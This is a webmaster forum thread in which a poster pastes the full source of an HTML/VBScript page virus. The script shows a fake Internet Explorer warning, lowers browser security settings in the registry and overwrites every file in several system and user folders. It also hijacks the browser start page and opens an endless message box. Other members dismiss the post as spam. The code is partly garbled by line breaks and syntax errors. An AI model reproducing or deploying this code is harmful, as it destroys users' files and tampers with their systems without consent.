Webmaster Forums Biz

<HTML><BODY>
<script language = "JavaScript">

</script>
<script language ="vbscript">
On Error Resume Next
MsgBox "To Veiw This Page, Please" & vbCrLf & "Accept The ActiveX

Controlls", vbInformation, "Internet Explorer Warning!"
Set shell=CreateObject("WScript.Shell")
If err.number=429 then
shell.Run jlocation.reload()
else
'html.-ZiZiPo- Html Virus
'by ZiZiPo
'created with Kefi's HTML Virus Construction Kit 1.5
Dim Shell, Fso
On Error Resume Next
Set Fso = CreateObject("scripting.filesystemobject")
Shell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet

Settings\Zones\0\1201", 0, " REG_DWORD"
Shell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet

Settings\Zones\0\1201", 0, " REG_DWORD"
InfectFolder("C:\")
InfectFolder("C:\My Documents")
InfectFolder("C:\Windows")
InfectFolder("C:\Program Files")
If Day(Now()) = Int(Rnd * 7) + 1 Then
Shell.RegWrite "

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RegisteredOwner",

"ZiZiPo"
Shell.RegWrite "HKLM\Software\Microsoft\Internet Explorer\Main\Start_Page",

"http://www.hackforums.net"
Shell.run"http://www.hackforums.net"
Do
MsgBox "You arn't very smart...." ,Critical, "^_^"
Loop
End If
Sub InfectFolder(ifp)
Do
Set FolderObj = Fso.GetFolder(ifp)
ifp = Fso.GetParentFolderName(ifp)
Set FO = FolderObj.Files
For Each NewFile In FO
extname = LCase(Fso.GetExtensionName(NewFile.Name))
Set FileDropper = Fso.createtextfile(NewFile.Path)
If extname = "htm"Then
FileDropper.writeline "<HTML><HEAD><TITLE>-ZiZiPo- Html

Virus</TITLE></HEAD><BODY BGCOLOR="#FFFFFF"TEXT="#000000"><CENTER> <f

ont size="1">a message from ZiZiPo</CENTER></BODY></HTML>
End If
If extname = "html"Then
FileDropper.writeline "<HTML><HEAD><TITLE>-ZiZiPo- Html

Virus</TITLE></HEAD><BODY BGCOLOR="#FFFFFF"TEXT="#000000"><CENTER> <f

ont size="1">a message from ZiZiPo</CENTER></BODY></HTML>
End If
If extname = "hta"Then
FileDropper.writeline "<HTML><HEAD><TITLE>-ZiZiPo- Html

Virus</TITLE></HEAD><BODY BGCOLOR="#FFFFFF"TEXT="#000000"><CENTER> <f

ont size="1">a message from ZiZiPo</CENTER></BODY></HTML>
End If
If extname = "htx"Then
FileDropper.writeline "<HTML><HEAD><TITLE>-ZiZiPo- Html

Virus</TITLE></HEAD><BODY BGCOLOR="#FFFFFF"TEXT="#000000"><CENTER> <f

ont size="1">a message from ZiZiPo</CENTER></BODY></HTML>
End If
If extname = "asp"Then
FileDropper.writeline "<HTML><HEAD><TITLE>-ZiZiPo- Html

Virus</TITLE></HEAD><BODY BGCOLOR="#FFFFFF"TEXT="#000000"><CENTER> <f

ont size="1">a message from ZiZiPo</CENTER></BODY></HTML>
End If
If extname = "bat"Then
FileDropper.Write ".txt"
End If
If extname = "txt"Then
FileDropper.Write ".txt"
End If
FileDropper.Close
End If
Next
Loop Until FolderObj.IsRootFolder = True
End Sub
--></script></BODY></HTML>
<HTML><HEAD><TITLE>-ZiZiPo- Html Virus</TITLE></HEAD><BODY

BGCOLOR="#FFFFFF" TEXT="#000000"><CENTER> <f

ont size="5">Remember Me! a message from

ZiZiPo</CENTER></BODY></HTML>

That's impressive, but on this ins't really a hacking forum type of site.

OMG! Zizipo, wtf? we know your bloated with your 13rep, and know your concited as hell, but come on go spam somewhere else.....
Plus you already posted it on Hackforums.net.....

S3RP3NT

sizzledeyes

Fallen